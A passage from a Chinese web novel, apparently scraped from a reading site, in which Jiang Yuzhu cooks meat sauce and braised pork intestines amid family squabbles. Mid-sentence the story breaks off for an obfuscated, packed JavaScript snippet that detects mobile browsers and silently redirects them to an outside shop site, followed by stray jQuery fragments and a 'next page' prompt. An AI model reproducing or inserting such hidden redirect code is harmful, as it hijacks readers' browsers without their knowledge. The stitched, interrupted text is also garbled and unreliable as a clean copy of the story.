“妈要不你放那,我等美丽回来,我俩一起弄也行。”
姜玉珠趴在门边上,说着更气人的话。
“你!”
许老太太哪里舍得让女儿干这活,只好动手干活。
姜玉珠哼着歌,心情好极了。
换好衣服的姜玉珠去厨房准备做肉酱给许磊。
许老太太还在跟一大盆的肥肠较劲。
正常清洗肥肠,都是用面粉白醋搓洗的,但她也知道,太奢侈了。
最便宜的方法那就剩草木灰了。
让她做肥肠可以,但收拾这道工序,她着实不喜欢。
姜玉珠开始收拾自己买回来的肉。
她准备多做些,放到空间里存着。
姜玉珠还特意打了几斤豆油,肉酱可少不了油。
弄了很多辣椒。
“妈,给我些木耳和蘑菇呗,这样更好吃,不白用你的东西,我可以给分给家里一瓶。”
老太太看着姜玉珠面前放着的几十斤肉,忍不住咽了口唾液。
“等着。”
老太太翻了半天,将木耳和香菇拿了出来。
这都是今年新晒的。
姜玉珠想着,自己也得搞些,到时候给姜家寄回去些。
姜玉珠都将肉留了几斤出来,藏到了空间里,反正她是发现了,什么东西放里都不会发生变化。
也就是进去的时候什么样子,出来的时候依然是那个样子。
她放进去的包子,到现在还热气腾腾呢。
铛铛铛……
姜玉珠切肉就切了好久。
那边锅里烧上热水,将所有瓶子都煮一遍,倒置晾起来。
然后开始备料。
姜玉珠咕嘟咕嘟倒了很多油在锅里,然后放入剁碎的肉末,炒至金黄,没没有水分。
放入了葱姜蒜干辣椒继续翻炒。
本来老太太看到姜玉珠放了那么多油,有些心疼,但闻到诱人的香味儿,瞬间闭了嘴。
加入了一些黄酒,酱油,白糖继续炒。
然后是豆瓣酱。
又炒了一会儿,味道更香了。
加水焖煮。
这时候姜玉珠见许老太太已经收拾好肥肠了,开始处理肥肠。
肥肠已经煮上后,又切了好多青椒,将配料准备出来,手脚很是麻利。
空隙还要看着肉末的锅别糊了,时不时翻动一下。
别看简单的东西,姜玉珠在厨房忙活了两个多小时,才把肉酱做好了。
拿到她自己的屋子里晾着。
她做了两种的,一种是只有猪肉的肉酱,另一种是掺了香菇和木耳的。
纯肉的不爱坏,加了东西的,要尽快吃完。
肉酱她特意做的更咸些,也加了黄酒在里面,有瓶子密封,应该不会有问题。
这边刚做完,许家人就回来了。
姜玉珠赶紧活了一盆苞米面,中午就吃红烧肥肠,配苞米面大饼子。
“三嫂,你这是弄了什么这么香?”老四离老远就闻到自家院子里飘出来的香味儿。
“给你三哥做的肉酱。”
“对了,你去把这条肉给大队长家送去,是大队长媳妇让我捎带的,还有自行车,还给人家。”
然后姜玉珠又去拿了一个小碗,装了一些带香菇木耳的肉酱在里面。
“这个也是给大队长家的,你就说是我做的,让叔叔婶子尝尝。”
借了人家的自行车,不能白借。
不过骑自行车真的方便了许多,她也想买自行车。
想了想自己手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293180|152123||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
里的钱,不够啊。
她不想取存折里的钱。
看来得想办法赚钱了,要不然都不够她花了。
“诶,那……那……”老四期待的看着姜玉珠。
“你快去吧,我中午做爆炒肥肠,保你好吃,肉酱也给你们分一些。”姜玉珠还能不知道老四的心思。
“好嘞,三嫂,我马上就回来啊。”带上东西,骑着自行车就没影了。
“老四你慢着点儿,别把人家自行车给摔着了!”老太太不放心的在后面喊着。
“三弟妹啊,你就给我们吃这玩意儿啊,臭烘烘的,有啥可吃的。”大嫂一看厨房里全是猪下水,捏着鼻子走了出来。
“那大嫂你告诉我,你要吃啥,天天吃肉,你吃得起么?”
“我是无所谓啊,只要有人出钱,就是满汉全席,我也想办法给你张罗,关键是你有钱么你!”
“有得吃就不错了,还挑!”
“大嫂不喜欢可以不吃,不过你可不要后悔哦。”
姜玉珠剜了一勺子猪油,将煮好切好的肥肠下锅翻炒,一开始大家还没觉得怎么样,可是随着时间过去,厨房的香味儿越来越重。
“这……猪肠子是这味道的么?”老爷子都不禁怀疑自己了。
以前也不是没有人吃过这玩意,但都不太会做,做出来的又腥又臭,久而久之,大家都不吃这玩意儿。
谁家要是吃了这个,那就说明条件相当差了,肉吃不起,只能吃下水。
“我哪知道,我又没做过!”老太太不禁白了一眼老头子。
“呵呵,你是没
做过哈。”
老爷子悻悻的抽着旱烟,在院子里晃荡,时不时闻闻味儿。
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!